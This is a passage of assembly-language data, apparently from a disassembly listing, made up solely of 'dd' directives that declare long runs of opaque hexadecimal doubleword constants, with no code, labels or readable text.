16BC3D6Ah, 93E0F000h, 0C3D5C1h dd 0F197CEDBh, 0CC711167h, 9126F001h, 78FCB16Bh, 0C7B8C840h dd 3050007Dh, 2022A8DCh, 510068FDh, 2FC2E058h, 0EEBB29BAh dd 4063A4Dh, 5BD28A80h, 0E279D47Ah, 0E8974207h, 20608525h dd 0E4ED9Eh, 0ECBF0CC5h, 6BD4B08h, 0A7977D00h, 32721A69h dd 3D2902B7h, 50DAD26Eh, 0F30C20E0h, 9CFE7100h, 0C1341DD5h dd 0EB85005Ch, 3DE9AE8Dh, 7B01B6C2h, 73B3E13Ch, 8871E778h dd 0DAF72A80h, 38812955h, 0C60026E2h, 578789C4h, 73B483B3h dd 0ECEA012Dh, 0E661EE1Bh, 916B6019h, 8D003198h, 729458F4h dd 745F37Ah, 7DF7BD28h, 0E4EAD03Fh, 4A000757h, 3858E3DFh dd 0FC5DA93Ch, 5BE824F2h, 0F56A001Ch, 7C919B51h, 7C58C024h dd 1873D981h, 0B82CAEC4h, 0A1BEFE85h, 5DBEC34h, 8B31DD01h dd 0BC884D93h, 0CA67C0h, 0F2207242h, 0E3D5161Ch, 0F072C1Ch dd 0F103BF5Fh, 98C2A0EFh, 984A29h, 32A42387h, 6321DFD1h dd 0F6183300h, 2799C1DCh, 0B1C500B2h, 4254CEF2h, 0AB005310h dd 0A04D7B55h, 4F8056ACh, 89EC97h, 0A9BC7F69h, 381BED96h dd 303955Ch, 0DBB66B11h, 76FF37E0h, 0B0F70B2Ch, 35D85B00h dd 15DF912h, 52C01044h, 0EC745E02h, 0F21FC8FBh, 0D8406D67h dd 183BE3B5h, 5C3F0050h, 3D091D8Bh, 411EDF69h, 0FDC0F7FBh dd 0F6F5469Ch, 64E80E5Ch, 718F8D54h, 153DF3C0h, 55028B43h dd 21330EC9h, 70EC19h, 6B81E3BFh, 6A987F9Ch, 3C0E0D30h dd 71232E4h, 735ECAE1h, 5A1DF063h, 233C4DACh, 0E88A807Dh dd 0C548D29Dh, 0E1B100D0h, 0EA9EE278h, 9800224Ah, 0ADE8543Dh dd 0C04C14h, 0F83AB046h, 5B40CEDEh, 5CF3100h, 0CB9C8F3Ch dd 0A8140AC3h, 5D012A9h, 40B1706Ah, 64F9DA50h, 0A22C31FCh dd 200158Ah, 5F671CC5h, 32E7216h, 6021C995h, 35B12892h dd 0D054703Dh, 98A7CE00h, 5DC36886h, 0DB0A0956h, 428EC496h dd 0FDD96900h, 5B002E2Dh, 72E4B233h, 0DD2637h, 229C2F45h dd 0BA8C4CCDh, 0CC5C6F28h, 0B8DA272Fh, 11A33B4h, 55A0E4E9h dd 0C8935EBAh, 0F801DA6Eh, 0CD3A1762h, 0F6DCC0C3h, 0EA8139Ch dd 10944192h, 0F5880887h, 0F28430B7h, 0C3EEA700h, 1248CA6Dh dd 2B2509BEh, 0F4A1FD86h, 0F0E7C790h, 10DCC50Dh, 25233300h dd 0FEFACBh, 0C2E23EE9h, 81D1CE87h, 3BA84906h, 0A29284h dd 9016F018h, 0D1EAFB0Bh, 82F3190Ch, 88C015h, 0FAA7EB07h dd 878D0EB7h, 0A6E9E400h, 1A11A17Bh, 619E0428h, 802E12EBh dd 0D30B3883h, 91DDC901h, 0D776A7E4h, 0F6EFD0E7h, 0CF20058h dd 4681F4F8h, 0A50A089h, 3000639Ch, 0BBF3383Bh, 164125h dd 0DA7F62C7h, 0BEFBBF95h, 58EE4Ch, 1EA60477h, 0D9DD47h dd 5DA5CEADh, 0E170E620h, 0FCE5010Bh, 5140609Fh, 3A3881C8h dd 0B83E53F0h, 0A942014Bh, 26C94948h, 0ECF8FC54h, 0F3FD4500h dd 0F9828BDBh, 3A25007Ch, 0BF367BA7h, 1758EEACh, 839983C4h dd 0AB9EA85Dh, 0A49C003Fh, 0EB04529Bh, 0ED008ACBh, 0E50FFBB2h dd 55384C5h, 18A5D8EAh, 72DCC1ECh, 7D5C2069h, 9E52D200h dd 0C3DC3FC8h, 45303BFCh, 0C984AF8Eh, 0F18F13E2h, 0B89FD480h dd 0A90097DCh, 427ED7F3h, 3F77F279h, 0AD0154DDh, 4D632C0Fh dd 98002AEAh, 0A715B212h, 54D50F36h, 2AE10E14h, 0E1EACC58h dd 60F0F961h, 6239C450h, 0A340002Bh, 0D206EB23h, 905F17E6h dd 2040008Eh, 0DFB7E308h, 9601B9E4h, 0F5A44B2h, 31D0F671h dd 0EC4AEFh, 5BD44D82h, 6700E370h, 0EDCCFAC5h, 79422F63h dd 8C86380Ch, 0AB74A500h, 732CBFAFh, 137BE900h, 95585298h dd 0E4F000E5h, 997BA45h, 0AD00CCB1h, 2ADF7048h, 18EAD783h dd 282129B9h, 0F60066CAh, 0D9F45DAAh, 0E8CA714h, 3705D769h dd 40E4DB20h, 0B6017BD1h, 0DA8719E2h, 0E3CC2B5Fh, 54763F74h dd 31C0E500h, 3278D685h, 0E7346C00h, 49922340h, 9ADA00E9h dd 642FF92Eh, 0A100273Eh, 6DA20419h, 1C6E374Ah, 0FDAFCEC1h dd 999CC04Ah, 0C3FE8514h, 42C9B602h, 70D06B8Ch, 3E9C02F0h dd 76207AD8h, 989AD840h, 383C1700h, 0C8C7149h, 0F20B86Fh dd 0F0658128h, 0F4329BA0h, 0FC09100Fh, 78A8B5E4h, 0E3FA2C50h dd 9E34806Ch, 4E27AC52h, 0EF03F58h, 0E3BC3347h, 0E0C22002h dd 0F8D673F9h, 0FB520050h, 0CB3F9EF1h, 0E5018048h, 86CD1505h dd 4080A829h, 0E35F7B0Ch, 353888B8h, 9826A5D5h, 0E0644738h dd 3E8A00F1h, 3805F067h, 8C00E11Ch, 3CF71EB2h, 0E5A2682h dd 0C60CD741h, 9F80DF4Eh, 6C49F28Dh, 0A42ADC17h, 70182A07h dd 60EFEE60h, 0C31F38FBh, 0A52E5600h, 27C187FCh, 7E634701h dd 76D344E9h, 5CEF4h, 0D09EFB9h, 404A8998h, 3B655Ch, 94A56811h dd 50C20755h, 0C8847h, 0E58F7E91h, 75D5F063h, 90EEDC90h dd 9F9C4554h, 21CA6E00h, 0A12D9CCDh, 78A26370h, 0AC8074CBh dd 0ED01FBDBh, 61118D85h, 58C2358Ah, 9ECF00C0h, 3DF1CA13h dd 3100BEACh, 0D8EB5896h, 3A4898A4h, 2D800B44h, 4B93ECAh dd 55015640h, 229FD71Bh, 8030AB96h, 1E17009Ch, 94BD5FDBh dd 0BF004E3Ah, 48147E78h, 1F6ECEDCh, 367972h, 0D6EFA66Dh dd 0B03D6C18h, 0C4FB00CBh, 0D8ACDDB2h, 581E00A9h, 6C17BAC9h dd 0C700C078h, 0DB4CF756h, 0B220ACh, 73268611h, 61A16409h dd 0DA787A01h, 79553B4Bh, 17691464h, 0BB4DDD66h, 2D006F12h dd 41339084h, 0C7310E21h, 2C20B3C8h, 427C9E93h, 951A0F00h dd 8114B4Fh, 5CD8EA3Bh, 8100AC30h, 10925E89h, 0B0009DAEh dd 18311B4h, 128F524Bh, 0C6EBEFh, 0FD9AE81Dh, 0BD00734Ch dd 9E927285h, 396BD441h, 160047D6h, 0F4E3A74Ah, 0E900436Eh dd 0C34E6453h, 27B55867h, 845C0C09h, 1781200Fh, 5FF100CEh dd 0B3B10CC9h, 84A31D18h, 8105362Fh, 4134BB97h, 0D93F03AFh dd 0ABD083EEh, 800A9F17h, 2BACC6h, 0CB233082h, 0EA4836Eh dd 8037443Eh, 0ABB1AD01h, 6E02E94h, 0A1C34399h, 0D80210B7h dd 5D37CF22h, 285048A2h, 4421E6Bh, 8AA4C2FDh, 34E9B264h dd 80246CE1h, 258ED669h, 8880EBB1h, 21373454h, 0C600F3CAh dd 40E93F16h, 9B92E5Eh, 1855EFA9h, 0CE65C800h, 7700A2CBh dd 0B1E71C0Ah, 8C4AB2h, 0A9D1FDCCh, 4DF2B483h, 0EF5E3D1Fh dd 6E808B39h, 0B61F0095h, 8729Ah, 31CAAA1Fh, 8DBA3A66h dd 0D70D211Eh, 43641801h, 63F04FAFh, 3C0F007Fh, 0DAC6A7E2h dd 80955E82h, 694F26F8h, 0F21F280h, 0B6B4027h, 0BF3AF261h dd 0B2B8406Dh, 65170AD1h, 28D0AA5Eh, 0F32E7Ah, 91F01DEDh dd 593AFA63h, 16771000h, 38D86F75h, 0C07E7Ch, 0BB1F8908h dd 8F588E68h dd 2D4A94Ch, 0D4F8FDA0h, 3DC87813h, 0DB407Eh, 890224A0h dd 0AC00E5BAh, 0DC53156h, 8AA165h, 0A3FE961Fh, 2ECA7D7Eh dd 0FC80094Eh, 928E9480h, 66410014h, 0FDE2D9AEh, 2500E46Bh dd 9B3539E8h, 106E1D7h, 0F6F5814Bh, 80AB79D1h, 2B27DB70h dd 3F88ED7Ch, 0E000363h, 82C8772Eh, 6C00676Eh, 0F793D599h dd 226A343h, 4A6149FAh, 9980ADACh, 0EADD95A2h, 0E98D2101h dd 0C5E20A41h, 7A6D1CD4h, 138900F5h, 420451BDh, 5B008471h dd 0BA3D69E5h, 1E8D056Eh, 7C6DEA0Bh, 8639A800h, 0CF82920Dh dd 3091F100h, 0C403F968h, 54E300B1h, 0AB0A12AEh, 0E8004784h dd 5CE4764Bh, 386872Ch, 94D64F9Fh, 0C382CC61h, 0FE423474h dd 291C41CBh, 5D14D839h, 53009CCDh, 9738C2AEh, 0E8947B43h dd 0B603FA00h, 3529F7Eh, 211D5D25h, 30A02DC9h, 6100688Ch dd 2EE9F29Ch, 0BEA53Fh, 40298755h, 807ADD98h, 33278600h dd 0D4B77695h, 836338B4h, 0C5FE1Dh, 807385EBh, 68007845h dd 10B3967h, 12B86C89h, 0ECE755Ch, 0D72020FFh, 1BEC0591h dd 831F7000h, 1EB51742h, 1C5AF0B8h, 495C3844h, 8200A4EBh dd 0D4F30D4h, 8E2D9927h, 0FFF7A0E4h, 1C6E73B1h, 0C7232C20h dd 109B8645h, 1AA0A4A2h, 0EAD5200h, 14CE0B75h, 0B5CA00A9h dd 0F1DC6AABh, 0F01707E0h, 0C200371Fh, 1EEBE170h, 1088003Ah dd 9A3CD611h, 3700CC44h, 0AF620B17h, 62F19h, 5E3952D9h dd 3FEA27D2h, 1AA2E507h, 33440DAh, 0BBE697C1h, 3D32460h dd 5D567E3Bh, 30F01912h, 27007C5Fh, 0AFC4DC72h, 0C75E9Eh dd 3C12ED4Ah, 0EFCC88E9h, 5410CF00h, 0DB9EE3E8h, 82AC1424h dd 43399BEAh, 6EBBA880h, 78ADF88Bh, 7324DC00h, 60ED0FDBh dd 14520E4Eh, 0E521FBFFh, 0FC63DD68h, 0C0000E57h, 0B6D4F5F8h dd 3863CA4h, 1F3D7436h, 0ED887EF4h, 2B00C772h, 3412CE0Ch dd 44BFC32h, 14E0E257h, 0B77CA02Dh, 3F0982EAh, 807DF5F6h dd 0DB6E0690h, 429B24EDh, 402E9FD4h, 60D2D43Bh, 0DE005864h dd 0EC89714Ah, 0F8F3AAA9h, 4730018h, 3BD9E862h, 0C609E21Bh dd 81896DFDh, 0D0E01DD2h, 40161192h, 10A96F1Ch, 834DA54Ch dd 0DD9A28CCh, 0C2936102h, 0E823A7A0h, 0A92E4h, 7EC0E5D3h dd 0D9C3B155h, 0C4895300h, 927C513Ah, 21D763F4h, 966029A7h dd 0EFF0D038h, 6A7B54h, 68DC61EEh, 91B963F4h, 97F9BF08h dd 73D6FF7h, 0C0EBE645h, 0B32D39BDh, 71EEA80Bh, 0BF9C21E3h dd 0EE70F466h, 595101B6h, 10D3ED09h, 4929E05Dh, 0EAAB8E00h dd 4758B39Fh, 0FF1CA96Dh, 3D86FAE0h, 2A162B37h, 15E400B6h dd 0B8C08478h, 9CA0C00h, 0D3D101A6h, 0C95C04FBh, 0C4162817h dd 74798069h, 6758DB1Ah, 420078FCh, 0B06081AEh, 7A68AC99h dd 0D81507B7h, 1460449h, 0EC1C6520h, 55003F07h, 0EB1A6163h dd 244B14E5h, 673DF0h, 93727962h, 1900E0AAh, 5D92E475h dd 6D9966h, 54DDFF7Bh, 25B2E535h, 6E7752E6h, 0CCD4B600h dd 40808162h, 0B0B827B9h, 0E0726C41h, 0CF385831h, 0EFE48044h dd 4D4199D8h, 528F005Bh, 0A47B38D3h, 0F9A20DC1h, 0FBFD9C0h dd 41589C30h, 14E25A26h, 0FCFA2FFBh, 0CEAF9500h, 0AB68B154h dd 8409A4A8h, 40301C60h, 88E5DCh, 5B431D0Bh, 2BC86986h dd 510E3C30h, 9553497Dh, 63E70400h, 1C394B90h, 67B0004Eh dd 3872FAE1h, 9C10005h, 8F13CF29h, 8100B6C5h, 0E6DBB13Fh dd 0F0F41D08h, 0A1D400CDh, 0A0C8B37Ch, 3600495Ch, 98542185h dd 3B225A3Eh, 607C4D28h, 3C477162h, 8EB85623h, 5E77EE00h dd 0CF88799Ch, 18B100E1h, 30D83906h, 484EB0B7h, 2EC77007h dd 21195A30h, 8E0600B5h, 27B34BF8h, 0B2332074h, 0C881D80Dh dd 2C472F0Ch, 6B4CBCh, 32A95E38h, 371E14ECh, 3E852253h dd 9EC05DD9h, 98499Ch, 95C945B3h, 0AA32ACF5h, 0C25C8D03h dd 0A8A575EAh, 0F8D92E59h, 9D250088h, 79083C66h, 2D0F6709h dd 80418F15h, 0D5F3742Eh, 13720076h, 9F7347CBh, 4D0004E3h dd 8823CEBFh, 4378245h, 0B2D6C08Ch, 0BC95C090h, 8600419Ch dd 776DBBBDh, 4B783089h, 0A60BF007h, 68DBAA0Bh, 27AB803Fh dd 8EB52Fh, 877FE1CAh, 0B1F9B330h, 0FD03EFB8h, 3FB4FB09h dd 0B5A801D7h, 9AE49D01h, 14C9CF04h, 0C5AEF008h, 0D852AD1Fh dd 2B768F00h, 1E271DCFh, 0C090B526h, 7F3328B3h, 4A004CA0h dd 40FB4829h, 60832D05h, 0C6FAE89Bh, 0AF7FBBD3h, 0C3AEE900h dd 1D5E0B5Ah, 483B3EA3h, 0EE9D4000h, 1F9ED773h, 0B88AC406h dd 0FC418B85h, 0DF5F0028h, 0AE403013h, 0A00D732h, 0BBEBBC6h dd 0EC533A26h, 1B363029h, 244290C9h, 344F3Ch, 0F547F626h dd 3E62F0Dh, 0C40B46F7h, 0F3C82472h, 7700E29Fh, 0C599FA37h dd 0FA16B66h, 0D53C1C07h, 97BE2D81h, 67962075h, 19BEE250h dd 0F30223Eh, 80AC58DFh, 0BAFF0D63h, 672A0E4Bh, 0FEEF9CDDh dd 0B55A0900h, 850379AEh, 0EFDA3D1Ch, 0CEBEA010h, 0C3BA1DFDh dd 0C88C804Dh, 800FEE71h, 0A943EA28h, 3EF5A300h, 72AA8E55h dd 0BA6E0EEBh, 7020E9BBh, 40ACF9B7h, 69007478h, 3DC3B031h dd 638E080h, 0C122A234h, 0A529B06Bh, 14504828h, 0AB9886D0h dd 1FADF000h, 0CB2C2EFBh, 0F81201A8h, 4ABA991Eh, 19C22066h dd 4CD75Ch, 918C9CA7h, 0EF91A25h, 0DBE86E69h, 0F789D927h dd 97759022h, 0F500562Ah, 243CC02Fh, 7821B8F3h, 0FB17005Ah dd 0D1771B01h, 4A073BC8h, 93194347h, 885E12E3h, 2EC220BFh dd 3F48C4h, 0C5B78A75h, 0E90070E6h, 25517F12h, 1FC436DFh dd 803A2DBDh, 4E164B97h, 84007D01h, 10347663h, 0A9799Ah dd 407FF22Fh, 9D302DD9h, 4628BB00h, 482060BFh, 0F0871E1Ch dd 1273C0EDh, 7A805B5Ch, 7178AA74h, 8204BA56h, 40D11633h dd 0D7D2E3h, 0EEF4DA11h, 6A64CFFEh, 5A4BAE0Ch, 3918C2Ah dd 0D214E29Dh, 29101D32h, 9000D022h, 0CDAED71Ah, 0B6004746h dd 4BE4F378h, 270911h, 0D6F1BA3Eh, 0FA6D88DDh, 0E2E69500h dd 0CAB465F3h, 0BD583CCFh, 0B6E59A00h, 3E4C8A13h, 708B9900h dd 0F1071B4Bh, 4404031Fh, 603614F6h, 32D32E0h, 990059FAh dd 0E386DA89h, 3973A4h, 914AABAFh, 653D3AE6h, 5495700h dd 0BBFF17D3h, 39A20971h, 0AC005BC4h, 92FD0CB2h, 0F6004FEAh dd 0AEEFD21Dh, 0AA3DE5h, 0FEBE373Fh, 7BA521CBh, 0C6A10500h dd 3DE10AB8h, 5A130073h, 4A51FD3Ch, 0CB1D4DA8h, 8340D6F2h dd 7C89DA40h, 75017508h, 0EA960053h, 50104EAEh, 290AC035h dd 0ABE811A9h, 0F6B46F0Eh, 0A0C4C40Eh, 5AC241DDh, 0AE1C0095h dd 6B631E86h, 3C00E230h, 0D30D15A8h, 0CEA4A3h, 73821346h dd 32C5141Ah, 0A8CC3Ch, 0FF53902Fh, 632B1656h, 0FD8C18C4h dd 6BE9C1C0h, 0FB335103h, 9303D870h, 37418018h, 16D001Bh dd 9BE04459h, 0F40F673Fh, 0E0E2B455h, 0DCD7C40Ch, 0A78400B5h dd 25D3E4CEh, 1300BCDDh, 386BBA27h, 248FB442h, 172C18F7h dd 0B2640086h, 0DFF52A30h, 5BF61600h, 6F879E5Ch, 6C063C99h dd 8137780h, 0CEE2CC97h, 5BAE2500h, 0AC2D6AC3h, 49EE0087h dd 0FFBBF3D6h, 803CE7AAh, 1F5D800Eh, 440245Fh, 8BF90038h dd 68904542h, 0CE01A191h, 0B0D0A66Fh, 0BFF028FEh, 0AFD80026h dd 7DB924C4h, 1A78750Ch, 77E50800h, 0C74E190Fh, 0F4E7070Ah dd 304959F2h, 0A201BD6Ch, 347A4F72h, 78955AE0h, 78FE000Dh dd 5DAFAC06h, 83247080h, 1200E775h, 7D47B1AEh, 10A70704h dd 634F1696h, 85B8C6D8h dd 0FCE4B8C3h, 2D9C3200h, 1E6AC0B7h, 21A60F04h, 0AD07E14Fh dd 0FACC70CBh, 676662C2h, 1EF08352h, 1B1F1C5h, 90C36D97h dd 3472E4EBh, 48DBCE00h, 0A3A99A28h, 43710165h, 0C6F22D70h dd 4720245Bh, 0FC757E00h, 0E211CB1Dh, 0AF121D42h, 80979F30h dd 9FBA4CADh, 8A00728Fh, 46F5D808h, 0E0C15Dh, 0AB1B0370h dd 0DB401153h, 0D4E92600h, 0D0F1424Eh, 313607B1h, 80499745h dd 437C8432h, 0A5331026h, 0A5CA7A09h, 0D4308D3Ch, 3E7AC44h dd 0BA0513CCh, 68F0B567h, 0A20085FDh, 0D7B82AA5h, 0BF3CF8h dd 9311990Fh, 80FB21B6h, 0BE00549Ah, 60D9ED10h, 38A37692h dd 5500B58Bh, 58E321F7h, 0D100984Bh, 0FA2A8E51h, 1E94D43Ch dd 0BADC96BFh, 0FBEC6C09h, 80153C87h, 0AECC9B91h, 0E6DFF303h dd 9B46D1C1h, 628AA0E7h, 92D6003Eh, 0C257D534h, 75007C7Eh dd 0E772C807h, 4440E4h, 4A8B3B84h, 1F6C48AAh, 7C756B00h dd 18A482F8h, 0FA64284Dh, 8C200D0h, 0F2670A91h, 0EA4F30DFh dd 0D90104B8h, 20CE6FA8h, 625AF044h, 0C158AB01h, 0A6F89445h dd 405ECC42h, 3289E99h, 328B8D3Fh, 8F05CC8h, 390055B6h dd 0E7DBB901h, 2F63A39Ah, 7CDEE0D8h, 64400039h, 0EBF9BC7h dd 0CC8A00BAh, 658C4E7Ah, 927E3BDFh, 90A9BE00h, 0E1EE2DF5h dd 9070B8D0h, 24470599h, 80AA336Fh, 0FAC2863Dh, 0D4E5D00h dd 0D0E4F68Ch, 9072397Fh, 0FBEB8900h, 651708DCh, 0C330E05h dd 0CC007936h, 9A060D53h, 0A1710EDFh, 0EFAEDD43h, 60CB6783h dd 0CA3F18C0h, 0AC90AE7Ah, 0D2BD30Eh, 7DF980D1h, 52F130h dd 8A6A929Bh, 0F3870B91h, 684CAC06h, 7203A6Ch, 6B26C5E7h dd 6A41C093h, 0A748ECF7h, 0C1B0038h, 0ADB6068Eh, 9304012Fh dd 0FDD51CF3h, 0ACD6D5CFh, 0DC0F84EEh, 5BC7E344h, 2921B855h dd 0D4870079h, 0D19D4713h, 2F2A3FFh, 0B649D91Dh, 2B7E4BC0h dd 0C5FC1Ah, 35606E2Ah, 0E504AAC9h, 7B17B104h, 0A0805EBFh dd 0E066D1h, 497328BDh, 0C8F64534h, 756E80Bh, 9256800Ah dd 0EE4AEEF2h, 4C8B1DFFh, 28C9C085h, 9033A91Eh, 8146F400h dd 7B0E2EF8h, 1F9B98B8h, 0C092C744h, 0BCA8A955h, 63F8948Fh dd 772F6A00h, 0A76D74ECh, 0EB153AEAh, 6EE41F00h, 2B4B2D5Bh dd 0AD96FD17h, 4190D10Fh, 8E6C0197h, 72EFC0h, 0A9AC88D5h dd 0EDC632A7h, 809D163Fh, 292F7773h, 10C46B0h, 3ED0E7C3h dd 7040C5E0h, 0D91C1618h, 3AC0B2A2h, 0A18E8F2Fh, 12890E2h dd 85B51BA5h, 0D4884456h, 4D793D2Dh, 0C72E1700h, 1CD0303Eh dd 156300BEh, 2D81837Bh, 0BD015D39h, 1390111Fh, 11823260h dd 6CF6426h, 80E18340h, 11F56F17h, 13535840h, 1D9808F1h dd 0F07D6EC3h, 0F48C5C18h, 6339E40Eh, 234DAE56h, 1E6B4BC4h dd 0EEA4F621h, 0D703BD90h, 68741A28h, 447FFEB8h, 79008E7Ch dd 26712038h, 13C359h, 65109C5Ch, 85223BA8h, 7C40A007h dd 0F64132BCh, 1CE0EDC9h, 34790715h, 1327FE20h, 88C0136Dh dd 0EE00711Fh, 43CD7F87h, 262F1A6h, 3FC48D97h, 2374BCA3h dd 8000624h, 19CAD59Ch, 28D80F76h, 7F6CDCD0h, 0C00340B9h dd 0D2F5938Eh, 59C101EEh, 32638B82h, 0C2E2F8A1h, 43A50A1Eh dd 19BBC000h, 0F763F41h, 0D33D74EEh, 34A0B50Eh, 0BC57445Bh dd 7DA0300h, 630B7F2Bh, 0C2E500AAh, 0C5DB9AA0h, 520089ADh dd 0A11B54BDh, 32FD20Fh, 9ADA5870h, 8101EA33h, 652C3261h dd 0EAD3B384h, 0D4CC80B9h, 4885CE39h, 70E21EBh, 2D206982h dd 0CBD9F1A5h, 2033AB0h, 66A392DEh, 43E03EB7h, 7FE96Bh dd 0D9C23E72h, 5FF600B0h, 824763ACh, 59399C11h, 0B53907FFh dd 9B40BEE7h, 67AC5Eh, 5770BC52h, 0BDD9751Ch, 4E0B0C02h dd 40B5A5EDh, 6F1F95h, 0AD82AFCBh, 5D21DCA6h, 0E588500h dd 0A18C4FF6h, 0ABF0C39h, 0D89CDF4h, 38DF3F07h, 12D21137h dd 639DE00Ch, 1967006h, 0A9CA26D3h, 242B4AD0h, 0DB3A7048h dd 28810036h, 0F096F11Ch, 48AC0063h, 0EA41D212h, 43008735h dd 9BF9BA14h, 30233F9Ah, 1340E61Ah, 0CD2F6C52h, 57BD459h dd 800C35ECh, 2002EFB4h, 6D419017h, 0B4BA3440h, 0AB3618h dd 0E93A423Dh, 0C273CB4Dh, 7D713Fh, 99B3A2EEh, 311D9Ah dd 1FF4A6F7h, 0F690F005h, 266CF900h, 7A9EC0A3h, 0F0C67B0Eh dd 9A8A2EDCh, 388919FBh, 96AAD041h, 5F2B3500h, 7CFF7F34h dd 0FD0D0097h, 5B508C3Fh, 2A76D7F7h, 72228E48h, 8D1838C0h dd 86464Ah, 9C844106h, 0B3D73E21h, 1E3A0800h, 907A8C18h dd 31866698h, 18D3C4D9h, 946AB303h, 0F510F86Ch, 0C3C20013h dd 0F8CED8FAh, 9E0067A0h, 59B82CD6h, 2AAAC0h, 247F1D47h dd 0D2560603h, 1903257Dh, 990CC252h, 0DC5AF846h, 0B161CE8Eh dd 8DF917A0h, 7A004955h, 0D9C6EC05h, 336C9B6Ah, 42A17CB6h dd 8EA83CB0h, 95E24400h, 4578D041h, 0B7A22A9Ah, 0A4FE00ACh dd 87120C88h, 0BE000E59h, 0E6D0FDC7h, 3C6A0B9h, 39C1204Fh dd 0E9488543h, 10FB00D4h, 0F216FF9Bh, 25967BF4h, 7F606559h dd 0AB98689Ah, 8803A900h, 1D12A877h, 741E0E4Bh, 4E2072ABh dd 337EA3BAh, 8854EB30h, 0FA7C3Dh, 579DDA50h, 621F8249h dd 0FD004C78h, 0D58461C0h, 38DCE99Fh, 45805FB4h, 0E36998Bh dd 0CB00D22Bh, 0A0343B17h, 0BBC377h, 28694E24h, 3F953530h dd 1C056A70h, 0F977E9A2h, 2CF780EFh, 16004A0Ah, 0EFAF4D8h dd 3E826DE5h, 518070CEh, 80328AE8h, 0B800F979h, 0ECD1C7CBh dd 0CC1EBFh, 2C18F238h, 71745F42h, 149C1700h, 0F44AB4D8h dd 0ECCF07D7h, 81B33D72h, 0C803C28Fh, 0AD024B98h, 1ED96983h dd 9A45E03Ah, 0BBD51DC4h, 310800D8h, 66343D5Ah, 0B6E54F00h dd 8CD0226Dh, 5741002Ch, 9968BEF5h, 71FB01Fh, 3E5FFE67h dd 193B0D0Ch, 0C0E2752Dh, 9A9EC88h, 0C300D5F1h, 0D61F9A7h dd 7AC25DBCh, 0A8BD0110h, 482515E9h, 9FD8D01Fh, 89EE6903h dd 170982ACh, 0FF6010h, 0D9F7E097h, 3A00AEA5h, 0D09E7D63h dd 0B2C3CCh, 9C9FD7CEh, 3223A1E3h, 0A2FEB700h, 0DA47682Fh dd 1E1A0013h, 79660A7Eh, 7B1F917Dh, 0FF990EFh, 4FCE0B52h dd 24988045h, 3B870C0Ah, 0BD80E332h, 92041F06h, 5C3D6A56h dd 0A4408E01h, 97E1005Fh, 0A8BE894h, 35039071h, 1C1E5920h dd 45070608h, 883BAA03h, 0FBE1E90Fh, 297A0C1h, 12FE8F6Ah dd 0A66E60Dh, 0D0C84Ah, 134E6EBDh, 6F049AB8h, 0E0AFEF99h dd 8825A583h, 2C59783Ah, 3FF1D844h, 7F3B1Eh, 0E0424EFAh dd 980C8B27h, 0A021863Ch, 0FFC60F16h, 0E760E5F5h, 434B42C7h dd 65A654Ch, 8A3FEEBEh, 75180028h, 49DDAD8Dh, 7D28B003h dd 0DFFAA4D9h, 9F28C838h, 8E4C4F8Bh, 3B2EC88Ah, 0D6814AFEh dd 65A5891Eh, 366DE0CDh, 7B97C000h, 0D3AC996Ah, 0A9F8005Dh dd 0FB4B4398h, 192909CDh, 72808047h, 3A3B996Eh, 0C0A243FFh dd 22A7E155h, 0EF4A0098h, 41092C1Ah, 663E0BE3h, 328C0081h dd 2EFF25EEh, 8ED3097Fh, 29004A2Bh, 0B87264A0h, 2AFD9918h dd 0D025D0h, 7F9E0487h, 4F075C1Fh, 4A04B075h, 525A1E38h dd 8402480h, 90D180CCh, 5C5E9E0Ah, 815B2028h, 0A0C22A1h dd 554CE1Fh, 0A4883958h, 0E815008Dh, 0EF55C14Eh, 9572983Ch dd 0AF35A100h, 65DC1EFDh, 14237CD5h, 0C83BDF4Ch, 0A4A36B00h dd 9B979347h, 19639600h, 11BB528Bh, 6ED00080h, 0A357A661h dd 6900EA87h, 0A85E3CD1h, 93C0DFh, 0B28B2524h, 0AC6CF15Ah dd 0E6158900h, 0EB7233Bh dd 14C70B6h, 0E22B463Dh, 70A57543h, 580CE721h, 419438C1h dd 0F1180067h, 2197DBC5h, 9B07CEC8h, 0BDB58830h, 82FDCAB0h dd 676001A3h, 0D35FD797h, 4A4024E4h, 0EA8AE70Fh, 0DC1260EDh dd 208332Ch, 193EA12Bh, 0D0C094D6h, 931258Ch, 0FB3DB8CAh dd 380C182Fh, 8D30ADC9h, 137D888Eh, 0DDA20074h, 89E55D1Fh dd 0FA03CB98h, 78398673h, 1530CFA3h, 491FE1h, 4AE6ED38h dd 0D5639B99h, 0FF50C800h, 0FC87F1F4h, 0A1660088h, 0D75D6F31h dd 44003B02h, 6837C11Bh, 0FE7BD196h, 57C9005Ah, 3525F6D6h dd 761D4D6Ah, 7100128Dh, 6A38413h, 0AD6700E5h, 9D4AB6Dh dd 0AC60201Ah, 0D1D6FECh, 7D8C2EC9h, 0CCC300EBh, 673E096Ah dd 2C0479C0h, 0CFB8E2h, 0FA47520Eh, 3C2FFF08h, 23000F90h dd 0B0FB7E74h, 2466BDh, 26ADAE5Dh, 20EFB1B9h, 0DE0094F2h dd 0A00AE42Bh, 1808136Ch, 0B06F48A9h, 0E0004AD4h, 0A463F76Dh dd 1929E44h, 868BDDF4h, 6AA7B751h, 0E114ADC0h, 9C500A4h dd 5D0BDEA2h, 0E23D987Fh, 0F8DAB0D6h, 0DEB7EDC0h, 0FA6B80B0h dd 645E2210h, 706F807h, 0BDC06588h, 519924h, 4112597Dh dd 0BEABB63Bh, 0BB05B500h, 9495C70Eh, 4AEC0068h, 0CCF6D4C2h dd 0FE0088ADh, 0AE91502Bh, 0AB1587h, 71D0834h, 2153C373h dd 0FF7BC100h, 0F9527822h, 494B004Ah, 0C7878FBBh, 850FEDE3h dd 805A5956h, 31AC97D7h, 5D221D9Bh, 0BEBD8E2Ch, 0B7005h dd 0E1A24EBEh, 8C0E0985h, 201C2173h, 662DE771h, 894F3CD0h dd 37AA8089h, 8EFAB00h, 0BA0E7698h, 0FFE927D7h, 0C6060FC0h dd 0A4B007h, 0BCF3EB51h, 407E8EBEh, 0C9706B07h, 0E2B0C65Eh dd 3AD573E8h, 0EE002CA1h, 9A07F6EFh, 0FE310B6Eh, 0A5B210EDh dd 0C453E0h, 0F47573AEh, 31924D7Ch, 8DFB851Ch, 76CD1447h dd 0A4818AD0h, 0D4B213E3h, 0A9F30F32h, 982446A0h, 0C1126522h dd 0A904F8A1h, 0C0AED6B0h, 0D05771F1h, 93E99B0h, 56BB09B3h dd 3111005Ah, 0F22D684Dh, 15920074h, 636F6D12h, 900EC627h dd 205149A1h, 0D75AC88Ah, 7B0DF033h, 0E94000E7h, 55271EADh dd 8FE0FFBFh, 0C7B32D00h, 0F2B721B9h, 1E8670C2h, 